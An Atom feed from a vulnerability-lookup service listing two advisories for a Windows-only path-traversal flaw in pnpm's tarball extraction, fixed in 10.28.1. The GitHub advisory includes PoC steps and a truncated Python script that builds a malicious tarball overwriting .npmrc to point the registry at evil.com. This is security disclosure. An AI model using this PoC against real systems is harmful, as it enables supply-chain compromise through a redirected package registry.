<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-18T19:48:06.038606+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2026-23889</id>
    <title>CVE-2026-23889 — pnpm has Windows-specific tarball Path Traversal</title>
    <updated>2026-10-18T19:48:06.040259+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> pnpm</p>
<p>pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2026-23889"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-6x96-7vc8-cm3p</id>
    <title>GHSA-6x96-7vc8-cm3p — pnpm has Windows-specific tarball Path Traversal</title>
    <updated>2026-10-18T19:48:06.040315+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: pnpm</p>
<p>### Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal.</p>
<p>**This vulnerability is Windows-only.**</p>
<p>### Details
**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**</p>
<p>```typescript
if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}
```</p>
<p>A path like `foo\..\..\.npmrc` does NOT contain `./` and bypasses this check.</p>
<p>**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**</p>
<p>- On Unix: Backslashes are literal filename characters (safe)
- On Windows: Backslashes are directory separators (exploitable)</p>
<p>### PoC
1. Create a malicious tarball with entry `package/foo\..\..\.npmrc`
2. Host it or use as a tarball URL dependency
3. On Windows: `pnpm install`
4. Observe `.npmrc` written outside package directory</p>
<p>```python
import tarfile, io</p>
<p>tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))</p>
<p>malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-6x96-7vc8-cm3p"/>
  </entry>
</feed>
